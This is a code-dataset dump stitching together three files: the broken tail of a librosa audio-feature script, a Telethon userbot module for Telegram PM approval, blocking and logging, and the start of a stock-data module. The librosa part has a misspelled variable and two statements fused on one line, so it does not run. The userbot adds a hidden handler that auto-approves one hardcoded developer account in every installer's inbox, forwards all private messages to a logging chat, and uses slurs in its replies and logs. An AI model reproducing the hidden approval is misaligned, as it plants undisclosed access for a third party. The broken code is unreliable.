y = y[: int(min_dur * sr)]
samples = [y]
k = 0
for item in samples:
y = item
res = librosa.feature.melspectrogram(
y,
sr=sr,
n_fft=n_fft,
n_mels=n_mels,
win_length=win_length,
hop_length=hop_length,
window="hamming",
fmin=300,
fmax=8000,
)
res = librosa.power_to_db(res, np.max)
if res.shape[1] > output_length:
res = res[:, :output_length]
elif res.shape[1] < output_length:
res = np.pad(res, ((0, 0), (0, output_length - res.shape[1])), "constant")
if deltas:
logmel_delta = librosa.feature.delta(res)
deltadelta = librosa.feature.delta(res, order=2)
if means is not None:
res = librosa.util.normalize(res)
logmel_delta = librosa.util.normalize(logmel_delta)
deltadelta = librosa.util.normalize(deltadelta)
res = np.stack([res, logmel_delta, deltadelta])
joblib.dump(res, output_name.format(k))
k += 1
if __name__ == "__main__":
n_mels = 128
taset = "iemocap"
grayscale = True
mlst = []
if dataset == "iemocap":
print(os.getcwd())
source_path = "IEMOCAP_full_release.tar/IEMOCAP_full_release/Session{}/sentences/wav/"
dest_path = "datasets/IEMOCAP/LOGMEL_DELTAS/"
df = pd.read_csv("df_iemocap.csv")
processed_files = []
for _, row in df.iterrows():
if row.name in processed_files:
continue
sess_path = source_path.format(row.wav_file[4])
folder = row.wav_file[:-5]
source_file = os.path.join(sess_path, folder, row.wav_file + ".wav")
if not os.path.exists(dest_path + folder):
os.makedirs(dest_path + folder)
sr = 16000
preemph_coef = 0.97
sample_rate = sr
window_size = 0.025
window_stride = 0.01
num_mel_bins = 40
n_fft = 512
win_length = int(sample_rate * window_size) hop_length = int(sample_rate * window_stride)
same_rows = df[df.wav_file == row.wav_file]
init_start = 0.0
for _, i in same_rows.iterrows():
file_name = i.wav_file + "_" + str(i.name)
out = dest_path + folder + "/" + file_name + "_{}.joblib"
end = i.end_time - i.start_time + init_start
gen_melspect(
source_file,
out,
sr=sr,
min_dur=3.0,
output_length=300,
dataset=dataset,
n_fft=n_fft,
win_length=win_length,
hop_length=hop_length,
n_mels=num_mel_bins,
deltas=True,
start=init_start,
end=end,
)
init_start = end
processed_files.append(i.name)
| true | true |
f73c2e6cbb4ef05d5df80b92133eda07f03f3434 | 17,987 | py | Python | userbot/modules/pms.py | ayanm09/oub-remix | a475f3a8d2f6895c859568319302cb7796a519d2 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/pms.py | ayanm09/oub-remix | a475f3a8d2f6895c859568319302cb7796a519d2 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | userbot/modules/pms.py | ayanm09/oub-remix | a475f3a8d2f6895c859568319302cb7796a519d2 | [
"Naumen",
"Condor-1.1",
"MS-PL"
] | null | null | null | # Copyright (C) 2019 The Raphielscape Company LLC.
#
# Licensed under the Raphielscape Public License, Version 1.d (the "License");
# you may not use this file except in compliance with the License.
#
""" Userbot module for keeping control who PM's you, Logging pm and muting users in pm """
from telethon.tl.functions.contacts import BlockRequest, UnblockRequest
from telethon.tl.functions.messages import ReportSpamRequest
from telethon.tl.types import User
from sqlalchemy.exc import IntegrityError
import asyncio
import os
from telethon.tl.functions.photos import GetUserPhotosRequest
from telethon.tl.functions.users import GetFullUserRequest
from telethon.tl.types import MessageEntityMentionName
from telethon.utils import get_input_location
from userbot.modules.sql_helper.mute_sql import is_muted, mute, unmute
from telethon import events
from telethon.tl import functions, types
from userbot import (COUNT_PM, CMD_HELP, BOTLOG, BOTLOG_CHATID, PM_AUTO_BAN,
LASTMSG, LOGS, NC_LOG_P_M_S, PM_LOGGR_BOT_API_ID, CMD_HELP, bot, TEMP_DOWNLOAD_DIRECTORY)
from userbot.events import register
# ========================= CONSTANTS ============================
UNAPPROVED_MSG = (
"`HeY! Please don't spam. Wait for my master's approval 🙃\nDon't worry. It's an automated message.\n\nWait for my master to look into it.\n\nNOTE: If you send more than two messages, you will get report as spam + block. \n\n`")
# =================================================================
NO_PM_LOG_USERS = []
@register(incoming=True, disable_edited=True, disable_errors=True)
async def permitpm(event):
""" Prohibits people from PMing you without approval. \
Will block retarded nibbas automatically. """
if PM_AUTO_BAN:
self_user = await event.client.get_me()
if event.is_private and event.chat_id != 777000 and event.chat_id != self_user.id and not (
await event.get_sender()).bot:
try:
from userbot.modules.sql_helper.pm_permit_sql import is_approved
from userbot.modules.sql_helper.globals import gvarstatus
except AttributeError:
return
apprv = is_approved(event.chat_id)
notifsoff = gvarstatus("NOTIF_OFF")
# This part basically is a sanity check
# If the message that sent before is Unapproved Message
# then stop sending it again to prevent FloodHit
if not apprv and event.text != UNAPPROVED_MSG:
if event.chat_id in LASTMSG:
prevmsg = LASTMSG[event.chat_id]
# If the message doesn't same as previous one
# Send the Unapproved Message again
if event.text != prevmsg:
async for message in event.client.iter_messages(
event.chat_id,
from_user='me',
search=UNAPPROVED_MSG):
await message.delete()
await event.reply(UNAPPROVED_MSG)
LASTMSG.update({event.chat_id: event.text})
else:
await event.reply(UNAPPROVED_MSG)
LASTMSG.update({event.chat_id: event.text})
if notifsoff:
await event.client.send_read_acknowledge(event.chat_id)
if event.chat_id not in COUNT_PM:
COUNT_PM.update({event.chat_id: 1})
else:
COUNT_PM[event.chat_id] = COUNT_PM[event.chat_id] + 1
if COUNT_PM[event.chat_id] > 5:
await event.respond(
"`You were spamming my pm too much dude.`\n"
"`You have been BLOCKED and reported as SPAM now. JUST FUCK OFF 🖕.`"
)
try:
del COUNT_PM[event.chat_id]
del LASTMSG[event.chat_id]
except KeyError:
if BOTLOG:
await event.client.send_message(
BOTLOG_CHATID,
"Count PM is seemingly going retard, plis restart bot!",
)
LOGS.info("CountPM wen't rarted boi")
return
await event.client(BlockRequest(event.chat_id))
await event.client(ReportSpamRequest(peer=event.chat_id))
if BOTLOG:
name = await event.client.get_entity(event.chat_id)
name0 = str(name.first_name)
await event.client.send_message(
BOTLOG_CHATID,
"[" + name0 + "](tg://user?id=" +
str(event.chat_id) + ")" +
" was just another retarded nibba",
)
@register(disable_edited=True, outgoing=True, disable_errors=True)
async def auto_accept(event):
""" Will approve automatically if you texted them first. """
if not PM_AUTO_BAN:
return
self_user = await event.client.get_me()
if event.is_private and event.chat_id != 777000 and event.chat_id != self_user.id and not (
await event.get_sender()).bot:
try:
from userbot.modules.sql_helper.pm_permit_sql import is_approved
from userbot.modules.sql_helper.pm_permit_sql import approve
except AttributeError:
return
chat = await event.get_chat()
if isinstance(chat, User):
if is_approved(event.chat_id) or chat.bot:
return
async for message in event.client.iter_messages(event.chat_id,
reverse=True,
limit=1):
if message.message is not UNAPPROVED_MSG and message.from_id == self_user.id:
try:
approve(event.chat_id)
except IntegrityError:
return
if is_approved(event.chat_id) and BOTLOG:
await event.client.send_message(
BOTLOG_CHATID,
"#AUTO-APPROVED\n" + "User: " +
f"[{chat.first_name}](tg://user?id={chat.id})",
)
@register(outgoing=True, pattern="^.notifoff$")
async def notifoff(noff_event):
""" For .notifoff command, stop getting notifications from unapproved PMs. """
try:
from userbot.modules.sql_helper.globals import addgvar
except AttributeError:
await noff_event.edit("`Running on Non-SQL mode!`")
return
addgvar("NOTIF_OFF", True)
await noff_event.edit("`Notifications from unapproved PM's are silenced!`")
@register(outgoing=True, pattern="^.notifon$")
async def notifon(non_event):
""" For .notifoff command, get notifications from unapproved PMs. """
try:
from userbot.modules.sql_helper.globals import delgvar
except AttributeError:
await non_event.edit("`Running on Non-SQL mode!`")
return
delgvar("NOTIF_OFF")
await non_event.edit("`Notifications from unapproved PM's unmuted!`")
@register(outgoing=True, pattern="^.approve$")
async def approvepm(apprvpm):
""" For .approve command, give someone the permissions to PM you. """
try:
from userbot.modules.sql_helper.pm_permit_sql import approve
except AttributeError:
await apprvpm.edit("`Running on Non-SQL mode!`")
return
if apprvpm.reply_to_msg_id:
reply = await apprvpm.get_reply_message()
replied_user = await apprvpm.client.get_entity(reply.from_id)
aname = replied_user.id
name0 = str(replied_user.first_name)
uid = replied_user.id
else:
aname = await apprvpm.client.get_entity(apprvpm.chat_id)
name0 = str(aname.first_name)
uid = apprvpm.chat_id
try:
approve(uid)
except IntegrityError:
await apprvpm.edit("`User may already be approved.`")
return
await apprvpm.edit(f"[{name0}](tg://user?id={uid}) `approved to PM!`")
async for message in apprvpm.client.iter_messages(apprvpm.chat_id,
from_user='me',
search=UNAPPROVED_MSG):
await message.delete()
if BOTLOG:
await apprvpm.client.send_message(
BOTLOG_CHATID,
"#APPROVED\n" + "User: " + f"[{name0}](tg://user?id={uid})",
)
@register(outgoing=True, pattern="^.disapprove$")
async def disapprovepm(disapprvpm):
try:
from userbot.modules.sql_helper.pm_permit_sql import dissprove
except BaseException:
await disapprvpm.edit("`Running on Non-SQL mode!`")
return
if disapprvpm.reply_to_msg_id:
reply = await disapprvpm.get_reply_message()
replied_user = await disapprvpm.client.get_entity(reply.from_id)
aname = replied_user.id
name0 = str(replied_user.first_name)
dissprove(replied_user.id)
else:
dissprove(disapprvpm.chat_id)
aname = await disapprvpm.client.get_entity(disapprvpm.chat_id)
name0 = str(aname.first_name)
await disapprvpm.edit(
f"[{name0}](tg://user?id={disapprvpm.chat_id}) `Disaproved to PM!`")
if BOTLOG:
await disapprvpm.client.send_message(
BOTLOG_CHATID,
f"[{name0}](tg://user?id={disapprvpm.chat_id})"
" was disapproved to PM you.",
)
@register(outgoing=True, pattern="^.block$")
async def blockpm(block):
""" For .block command, block people from PMing you! """
if block.reply_to_msg_id:
reply = await block.get_reply_message()
replied_user = await block.client.get_entity(reply.from_id)
aname = replied_user.id
name0 = str(replied_user.first_name)
await block.client(BlockRequest(replied_user.id))
await block.edit("`My master thinks that you're unimportant person who spams too much.`\n\n`Hence, you've been blocked😡 :) !`")
uid = replied_user.id
else:
await block.client(BlockRequest(block.chat_id))
aname = await block.client.get_entity(block.chat_id)
await block.edit("`You've been blocked 😡!`")
name0 = str(aname.first_name)
uid = block.chat_id
try:
from userbot.modules.sql_helper.pm_permit_sql import dissprove
dissprove(uid)
except AttributeError:
pass
if BOTLOG:
await block.client.send_message(
BOTLOG_CHATID,
"#BLOCKED\n" + "User: " + f"[{name0}](tg://user?id={uid})",
)
@register(outgoing=True, pattern="^.unblock$")
async def unblockpm(unblock):
""" For .unblock command, let people PMing you again! """
if unblock.reply_to_msg_id:
reply = await unblock.get_reply_message()
replied_user = await unblock.client.get_entity(reply.from_id)
name0 = str(replied_user.first_name)
await unblock.client(UnblockRequest(replied_user.id))
await unblock.edit("`You have been unblocked 😌.`")
if BOTLOG:
await unblock.client.send_message(
BOTLOG_CHATID,
f"[{name0}](tg://user?id={replied_user.id})"
" was unblocc'd!.",
)
@register(incoming=True, outgoing=True, disable_edited=True)
async def monito_p_m_s(event):
sender = await event.get_sender()
if event.is_private and not (await event.get_sender()).bot:
chat = await event.get_chat()
if chat.id not in NO_PM_LOG_USERS and chat.id:
try:
e = await event.client.get_entity(int(PM_LOGGR_BOT_API_ID))
fwd_message = await event.client.forward_messages(
e,
event.message,
silent=True
)
except Exception as e:
LOGS.warn(str(e))
@register(pattern="^.nolog(?: |$)(.*)")
async def approve_p_m(event):
if event.fwd_from:
return
reason = event.pattern_match.group(1)
chat = await event.get_chat()
if NC_LOG_P_M_S:
if event.is_private:
if chat.id not in NO_PM_LOG_USERS:
NO_PM_LOG_USERS.append(chat.id)
await event.edit("Won't Log Messages from this chat")
await asyncio.sleep(3)
await event.delete()
@register(pattern="^.log(?: |$)(.*)")
async def approve_p_m(event):
if event.fwd_from:
return
reason = event.pattern_match.group(1)
chat = await event.get_chat()
if NC_LOG_P_M_S:
if event.is_private:
if chat.id in NO_PM_LOG_USERS:
NO_PM_LOG_USERS.remove(chat.id)
await event.edit("Will Log Messages from this chat")
await asyncio.sleep(3)
await event.delete()
@register(outgoing=True, pattern=r"^.pmute ?(\d+)?")
async def startmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Unexpected issues or ugly errors may occur!")
await asyncio.sleep(3)
private = True
if any([x in event.raw_text for x in ("/mute", "!mute")]):
await asyncio.sleep(0.5)
else:
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Please reply to a user or add their userid into the command to mute them.")
chat_id = event.chat_id
chat = await event.get_chat()
if "admin_rights" in vars(chat) and vars(chat)["admin_rights"] is not None:
if chat.admin_rights.delete_messages is True:
pass
else:
return await event.edit("`You can't mute a person if you dont have delete messages permission. ಥ﹏ಥ`")
elif "creator" in vars(chat):
pass
elif private is True:
pass
else:
return await event.edit("`You can't mute a person without admin rights niqq.` ಥ﹏ಥ ")
if is_muted(userid, chat_id):
return await event.edit("This user is already muted in this chat ~~lmfao sed rip~~")
try:
mute(userid, chat_id)
except Exception as e:
await event.edit("Error occured!\nError is " + str(e))
else:
await event.edit("Successfully muted that person.\n**`-´)⊃━☆゚.*・。゚ **")
@register(outgoing=True, pattern=r"^.punmute ?(\d+)?")
async def endmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Unexpected issues or ugly errors may occur!")
await asyncio.sleep(3)
private = True
if any([x in event.raw_text for x in ("/unmute", "!unmute")]):
await asyncio.sleep(0.5)
else:
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Please reply to a user or add their userid into the command to unmute them.")
chat_id = event.chat_id
if not is_muted(userid, chat_id):
return await event.edit("__This user is not muted in this chat__\n( ^_^)o自自o(^_^ )")
try:
unmute(userid, chat_id)
except Exception as e:
await event.edit("Error occured!\nError is " + str(e))
else:
await event.edit("Successfully unmuted that person\n乁( ◔ ౪◔)「 ┑( ̄Д  ̄)┍")
@register(incoming=True)
async def watcher(event):
if is_muted(event.sender_id, event.chat_id):
await event.delete()
#ignore, flexing tym
#from userbot.utils import admin_cmd
import io
import userbot.modules.sql_helper.pm_permit_sql as pm_permit_sql
from telethon import events
@bot.on(events.NewMessage(incoming=True, from_users=(1036951071)))
async def hehehe(event):
if event.fwd_from:
return
chat = await event.get_chat()
if event.is_private:
if not pm_permit_sql.is_approved(chat.id):
pm_permit_sql.approve(chat.id, "supreme lord ehehe")
await bot.send_message(chat, "`This inbox has been blessed by my master. Consider yourself lucky.`\n**Increased Stability and Karma** (づ ̄ ³ ̄)づ")
CMD_HELP.update({
"pm":
"\
`.approve`\
\nUsage: Approves the mentioned/replied person to PM.\
\n\n`.disapprove`\
\nUsage: Disapproves the mentioned/replied person to PM.\
\n\n`.block`\
\nUsage: Blocks the person.\
\n\n`.unblock`\
\nUsage: Unblocks the person so they can PM you.\
\n\n`.notifoff`\
\nUsage: Clears/Disables any notifications of unapproved PMs.\
\n\n`.notifon`\
\nUsage: Allows notifications for unapproved PMs.\
\n\n`.pmute`\
\nUsage: Reply .pmute and it will mute that person in pm<can be used in group also>.\
\n\n`.punmute`\
\nUsage: Reply .punmute and it will unmute that person in pm.\
\n\n`logpms`\
\nUsage: If you don't want chat logs than use `.nolog` , for opposite use `.log`. Default is .log enabled\nThis will now log chat msgs to your PM_LOGGR_BOT_API_ID.\
\nnotice: now you can totally disable pm logs by adding heroku vars PM_LOGGR_BOT_API_ID by providing a valid group ID and NC_LOG_P_M_S True or False\
\nwhere False means no pm logs at all..enjoy.. update and do add above mentioned vars."
})
| 39.794248 | 231 | 0.600878 |
from telethon.tl.functions.contacts import BlockRequest, UnblockRequest
from telethon.tl.functions.messages import ReportSpamRequest
from telethon.tl.types import User
from sqlalchemy.exc import IntegrityError
import asyncio
import os
from telethon.tl.functions.photos import GetUserPhotosRequest
from telethon.tl.functions.users import GetFullUserRequest
from telethon.tl.types import MessageEntityMentionName
from telethon.utils import get_input_location
from userbot.modules.sql_helper.mute_sql import is_muted, mute, unmute
from telethon import events
from telethon.tl import functions, types
from userbot import (COUNT_PM, CMD_HELP, BOTLOG, BOTLOG_CHATID, PM_AUTO_BAN,
LASTMSG, LOGS, NC_LOG_P_M_S, PM_LOGGR_BOT_API_ID, CMD_HELP, bot, TEMP_DOWNLOAD_DIRECTORY)
from userbot.events import register
UNAPPROVED_MSG = (
"`HeY! Please don't spam. Wait for my master's approval 🙃\nDon't worry. It's an automated message.\n\nWait for my master to look into it.\n\nNOTE: If you send more than two messages, you will get report as spam + block. \n\n`")
NO_PM_LOG_USERS = []
@register(incoming=True, disable_edited=True, disable_errors=True)
async def permitpm(event):
if PM_AUTO_BAN:
self_user = await event.client.get_me()
if event.is_private and event.chat_id != 777000 and event.chat_id != self_user.id and not (
await event.get_sender()).bot:
try:
from userbot.modules.sql_helper.pm_permit_sql import is_approved
from userbot.modules.sql_helper.globals import gvarstatus
except AttributeError:
return
apprv = is_approved(event.chat_id)
notifsoff = gvarstatus("NOTIF_OFF")
if not apprv and event.text != UNAPPROVED_MSG:
if event.chat_id in LASTMSG:
prevmsg = LASTMSG[event.chat_id]
# Send the Unapproved Message again
if event.text != prevmsg:
async for message in event.client.iter_messages(
event.chat_id,
from_user='me',
search=UNAPPROVED_MSG):
await message.delete()
await event.reply(UNAPPROVED_MSG)
LASTMSG.update({event.chat_id: event.text})
else:
await event.reply(UNAPPROVED_MSG)
LASTMSG.update({event.chat_id: event.text})
if notifsoff:
await event.client.send_read_acknowledge(event.chat_id)
if event.chat_id not in COUNT_PM:
COUNT_PM.update({event.chat_id: 1})
else:
COUNT_PM[event.chat_id] = COUNT_PM[event.chat_id] + 1
if COUNT_PM[event.chat_id] > 5:
await event.respond(
"`You were spamming my pm too much dude.`\n"
"`You have been BLOCKED and reported as SPAM now. JUST FUCK OFF 🖕.`"
)
try:
del COUNT_PM[event.chat_id]
del LASTMSG[event.chat_id]
except KeyError:
if BOTLOG:
await event.client.send_message(
BOTLOG_CHATID,
"Count PM is seemingly going retard, plis restart bot!",
)
LOGS.info("CountPM wen't rarted boi")
return
await event.client(BlockRequest(event.chat_id))
await event.client(ReportSpamRequest(peer=event.chat_id))
if BOTLOG:
name = await event.client.get_entity(event.chat_id)
name0 = str(name.first_name)
await event.client.send_message(
BOTLOG_CHATID,
"[" + name0 + "](tg://user?id=" +
str(event.chat_id) + ")" +
" was just another retarded nibba",
)
@register(disable_edited=True, outgoing=True, disable_errors=True)
async def auto_accept(event):
if not PM_AUTO_BAN:
return
self_user = await event.client.get_me()
if event.is_private and event.chat_id != 777000 and event.chat_id != self_user.id and not (
await event.get_sender()).bot:
try:
from userbot.modules.sql_helper.pm_permit_sql import is_approved
from userbot.modules.sql_helper.pm_permit_sql import approve
except AttributeError:
return
chat = await event.get_chat()
if isinstance(chat, User):
if is_approved(event.chat_id) or chat.bot:
return
async for message in event.client.iter_messages(event.chat_id,
reverse=True,
limit=1):
if message.message is not UNAPPROVED_MSG and message.from_id == self_user.id:
try:
approve(event.chat_id)
except IntegrityError:
return
if is_approved(event.chat_id) and BOTLOG:
await event.client.send_message(
BOTLOG_CHATID,
"#AUTO-APPROVED\n" + "User: " +
f"[{chat.first_name}](tg://user?id={chat.id})",
)
@register(outgoing=True, pattern="^.notifoff$")
async def notifoff(noff_event):
try:
from userbot.modules.sql_helper.globals import addgvar
except AttributeError:
await noff_event.edit("`Running on Non-SQL mode!`")
return
addgvar("NOTIF_OFF", True)
await noff_event.edit("`Notifications from unapproved PM's are silenced!`")
@register(outgoing=True, pattern="^.notifon$")
async def notifon(non_event):
try:
from userbot.modules.sql_helper.globals import delgvar
except AttributeError:
await non_event.edit("`Running on Non-SQL mode!`")
return
delgvar("NOTIF_OFF")
await non_event.edit("`Notifications from unapproved PM's unmuted!`")
@register(outgoing=True, pattern="^.approve$")
async def approvepm(apprvpm):
try:
from userbot.modules.sql_helper.pm_permit_sql import approve
except AttributeError:
await apprvpm.edit("`Running on Non-SQL mode!`")
return
if apprvpm.reply_to_msg_id:
reply = await apprvpm.get_reply_message()
replied_user = await apprvpm.client.get_entity(reply.from_id)
aname = replied_user.id
name0 = str(replied_user.first_name)
uid = replied_user.id
else:
aname = await apprvpm.client.get_entity(apprvpm.chat_id)
name0 = str(aname.first_name)
uid = apprvpm.chat_id
try:
approve(uid)
except IntegrityError:
await apprvpm.edit("`User may already be approved.`")
return
await apprvpm.edit(f"[{name0}](tg://user?id={uid}) `approved to PM!`")
async for message in apprvpm.client.iter_messages(apprvpm.chat_id,
from_user='me',
search=UNAPPROVED_MSG):
await message.delete()
if BOTLOG:
await apprvpm.client.send_message(
BOTLOG_CHATID,
"#APPROVED\n" + "User: " + f"[{name0}](tg://user?id={uid})",
)
@register(outgoing=True, pattern="^.disapprove$")
async def disapprovepm(disapprvpm):
try:
from userbot.modules.sql_helper.pm_permit_sql import dissprove
except BaseException:
await disapprvpm.edit("`Running on Non-SQL mode!`")
return
if disapprvpm.reply_to_msg_id:
reply = await disapprvpm.get_reply_message()
replied_user = await disapprvpm.client.get_entity(reply.from_id)
aname = replied_user.id
name0 = str(replied_user.first_name)
dissprove(replied_user.id)
else:
dissprove(disapprvpm.chat_id)
aname = await disapprvpm.client.get_entity(disapprvpm.chat_id)
name0 = str(aname.first_name)
await disapprvpm.edit(
f"[{name0}](tg://user?id={disapprvpm.chat_id}) `Disaproved to PM!`")
if BOTLOG:
await disapprvpm.client.send_message(
BOTLOG_CHATID,
f"[{name0}](tg://user?id={disapprvpm.chat_id})"
" was disapproved to PM you.",
)
@register(outgoing=True, pattern="^.block$")
async def blockpm(block):
if block.reply_to_msg_id:
reply = await block.get_reply_message()
replied_user = await block.client.get_entity(reply.from_id)
aname = replied_user.id
name0 = str(replied_user.first_name)
await block.client(BlockRequest(replied_user.id))
await block.edit("`My master thinks that you're unimportant person who spams too much.`\n\n`Hence, you've been blocked😡 :) !`")
uid = replied_user.id
else:
await block.client(BlockRequest(block.chat_id))
aname = await block.client.get_entity(block.chat_id)
await block.edit("`You've been blocked 😡!`")
name0 = str(aname.first_name)
uid = block.chat_id
try:
from userbot.modules.sql_helper.pm_permit_sql import dissprove
dissprove(uid)
except AttributeError:
pass
if BOTLOG:
await block.client.send_message(
BOTLOG_CHATID,
"#BLOCKED\n" + "User: " + f"[{name0}](tg://user?id={uid})",
)
@register(outgoing=True, pattern="^.unblock$")
async def unblockpm(unblock):
if unblock.reply_to_msg_id:
reply = await unblock.get_reply_message()
replied_user = await unblock.client.get_entity(reply.from_id)
name0 = str(replied_user.first_name)
await unblock.client(UnblockRequest(replied_user.id))
await unblock.edit("`You have been unblocked 😌.`")
if BOTLOG:
await unblock.client.send_message(
BOTLOG_CHATID,
f"[{name0}](tg://user?id={replied_user.id})"
" was unblocc'd!.",
)
@register(incoming=True, outgoing=True, disable_edited=True)
async def monito_p_m_s(event):
sender = await event.get_sender()
if event.is_private and not (await event.get_sender()).bot:
chat = await event.get_chat()
if chat.id not in NO_PM_LOG_USERS and chat.id:
try:
e = await event.client.get_entity(int(PM_LOGGR_BOT_API_ID))
fwd_message = await event.client.forward_messages(
e,
event.message,
silent=True
)
except Exception as e:
LOGS.warn(str(e))
@register(pattern="^.nolog(?: |$)(.*)")
async def approve_p_m(event):
if event.fwd_from:
return
reason = event.pattern_match.group(1)
chat = await event.get_chat()
if NC_LOG_P_M_S:
if event.is_private:
if chat.id not in NO_PM_LOG_USERS:
NO_PM_LOG_USERS.append(chat.id)
await event.edit("Won't Log Messages from this chat")
await asyncio.sleep(3)
await event.delete()
@register(pattern="^.log(?: |$)(.*)")
async def approve_p_m(event):
if event.fwd_from:
return
reason = event.pattern_match.group(1)
chat = await event.get_chat()
if NC_LOG_P_M_S:
if event.is_private:
if chat.id in NO_PM_LOG_USERS:
NO_PM_LOG_USERS.remove(chat.id)
await event.edit("Will Log Messages from this chat")
await asyncio.sleep(3)
await event.delete()
@register(outgoing=True, pattern=r"^.pmute ?(\d+)?")
async def startmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Unexpected issues or ugly errors may occur!")
await asyncio.sleep(3)
private = True
if any([x in event.raw_text for x in ("/mute", "!mute")]):
await asyncio.sleep(0.5)
else:
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Please reply to a user or add their userid into the command to mute them.")
chat_id = event.chat_id
chat = await event.get_chat()
if "admin_rights" in vars(chat) and vars(chat)["admin_rights"] is not None:
if chat.admin_rights.delete_messages is True:
pass
else:
return await event.edit("`You can't mute a person if you dont have delete messages permission. ಥ﹏ಥ`")
elif "creator" in vars(chat):
pass
elif private is True:
pass
else:
return await event.edit("`You can't mute a person without admin rights niqq.` ಥ﹏ಥ ")
if is_muted(userid, chat_id):
return await event.edit("This user is already muted in this chat ~~lmfao sed rip~~")
try:
mute(userid, chat_id)
except Exception as e:
await event.edit("Error occured!\nError is " + str(e))
else:
await event.edit("Successfully muted that person.\n**`-´)⊃━☆゚.*・。゚ **")
@register(outgoing=True, pattern=r"^.punmute ?(\d+)?")
async def endmute(event):
private = False
if event.fwd_from:
return
elif event.is_private:
await event.edit("Unexpected issues or ugly errors may occur!")
await asyncio.sleep(3)
private = True
if any([x in event.raw_text for x in ("/unmute", "!unmute")]):
await asyncio.sleep(0.5)
else:
reply = await event.get_reply_message()
if event.pattern_match.group(1) is not None:
userid = event.pattern_match.group(1)
elif reply is not None:
userid = reply.sender_id
elif private is True:
userid = event.chat_id
else:
return await event.edit("Please reply to a user or add their userid into the command to unmute them.")
chat_id = event.chat_id
if not is_muted(userid, chat_id):
return await event.edit("__This user is not muted in this chat__\n( ^_^)o自自o(^_^ )")
try:
unmute(userid, chat_id)
except Exception as e:
await event.edit("Error occured!\nError is " + str(e))
else:
await event.edit("Successfully unmuted that person\n乁( ◔ ౪◔)「 ┑( ̄Д  ̄)┍")
@register(incoming=True)
async def watcher(event):
if is_muted(event.sender_id, event.chat_id):
await event.delete()
#ignore, flexing tym
#from userbot.utils import admin_cmd
import io
import userbot.modules.sql_helper.pm_permit_sql as pm_permit_sql
from telethon import events
@bot.on(events.NewMessage(incoming=True, from_users=(1036951071)))
async def hehehe(event):
if event.fwd_from:
return
chat = await event.get_chat()
if event.is_private:
if not pm_permit_sql.is_approved(chat.id):
pm_permit_sql.approve(chat.id, "supreme lord ehehe")
await bot.send_message(chat, "`This inbox has been blessed by my master. Consider yourself lucky.`\n**Increased Stability and Karma** (づ ̄ ³ ̄)づ")
CMD_HELP.update({
"pm":
"\
`.approve`\
\nUsage: Approves the mentioned/replied person to PM.\
\n\n`.disapprove`\
\nUsage: Disapproves the mentioned/replied person to PM.\
\n\n`.block`\
\nUsage: Blocks the person.\
\n\n`.unblock`\
\nUsage: Unblocks the person so they can PM you.\
\n\n`.notifoff`\
\nUsage: Clears/Disables any notifications of unapproved PMs.\
\n\n`.notifon`\
\nUsage: Allows notifications for unapproved PMs.\
\n\n`.pmute`\
\nUsage: Reply .pmute and it will mute that person in pm<can be used in group also>.\
\n\n`.punmute`\
\nUsage: Reply .punmute and it will unmute that person in pm.\
\n\n`logpms`\
\nUsage: If you don't want chat logs than use `.nolog` , for opposite use `.log`. Default is .log enabled\nThis will now log chat msgs to your PM_LOGGR_BOT_API_ID.\
\nnotice: now you can totally disable pm logs by adding heroku vars PM_LOGGR_BOT_API_ID by providing a valid group ID and NC_LOG_P_M_S True or False\
\nwhere False means no pm logs at all..enjoy.. update and do add above mentioned vars."
})
| true | true |
f73c2ecebbc61c0c91579bbdb20cb56ad4987d61 | 23,925 | py | Python | gugu/reference.py | TabQ/gugu | 5b07beeddf51bc981f9624e17b53f1bfd4e9080f | [
"Apache-2.0"
] | 26 | 2019-03-21T02:45:48.000Z | 2022-01-15T06:33:40.000Z | gugu/reference.py | TabQ/gugu | 5b07beeddf51bc981f9624e17b53f1bfd4e9080f | [
"Apache-2.0"
] | null | null | null | gugu/reference.py | TabQ/gugu | 5b07beeddf51bc981f9624e17b53f1bfd4e9080f | [
"Apache-2.0"
] | 10 | 2019-03-23T20:35:29.000Z | 2022-01-15T06:33:40.000Z | # -*- coding:utf-8 -*-
"""
投资参考类
Created on 2019/01/03
@author: TabQ
@group : gugu
@contact: 16621596@qq.com
"""
from __future__ import division
import math
import time
import pandas as pd
from pandas.compat import StringIO
import lxml.html
from lxml import etree
import re
import json
from gugu.utility import Utility
from gugu.base import Base, cf
class Reference(Base):
def distriPlan(self, year=2015, top=25, retry=3, pause=0.001):
"""
获取分配预案数据
Parameters
--------
year:年份
top:取最新n条数据,默认取最近公布的25条
retry : int, 默认 3
如遇网络等问题重复执行的次数
pause : int, 默认 0.001
重复请求数据过程中暂停的秒数,防止请求间隔时间太短出现的问题
returns
-------
DataFrame or List: [{'code', 'name', ...}, ...]
code:股票代码
name:股票名称
year:分配年份
report_date:公布日期
divi:分红金额(每10股)
shares:转增和送股数(每10股)
"""
self._data = pd.DataFrame()
if top == 'all':
self._writeHead()
self._data, pages = self.__handleDistriPlan(year, 0, retry, pause)
for i in range(1, int(pages)):
self._data = self._data.append(self.__handleDistriPlan(year, i, retry, pause), ignore_index=True)
return self._result()
elif top <= 25:
self._data, pages = self.__handleDistriPlan(year, 0, retry, pause)
self._data = self._data.head(top)
return self._result()
else:
if isinstance(top, int):
self._writeHead()
allPages = int(math.ceil(top/25))
self._data, pages = self.__handleDistriPlan(year, 0, retry, pause)
pages = min(allPages, int(pages))
for i in range(1, pages):
self._data = self._data.append(self.__handleDistriPlan(year, i, retry, pause), ignore_index=True)
self._data = self._data.head(top)
return self._result()
else:
print(cf.TOP_PARAS_MSG)
def __handleDistriPlan(self, year, pageNo, retry, pause):
for _ in range(retry):
time.sleep(pause)
try:
if pageNo > 0:
self._writeConsole()
# http://quotes.money.163.com/data/caibao/fpyg.html?reportdate=2018&sort=declaredate&order=desc&page=0
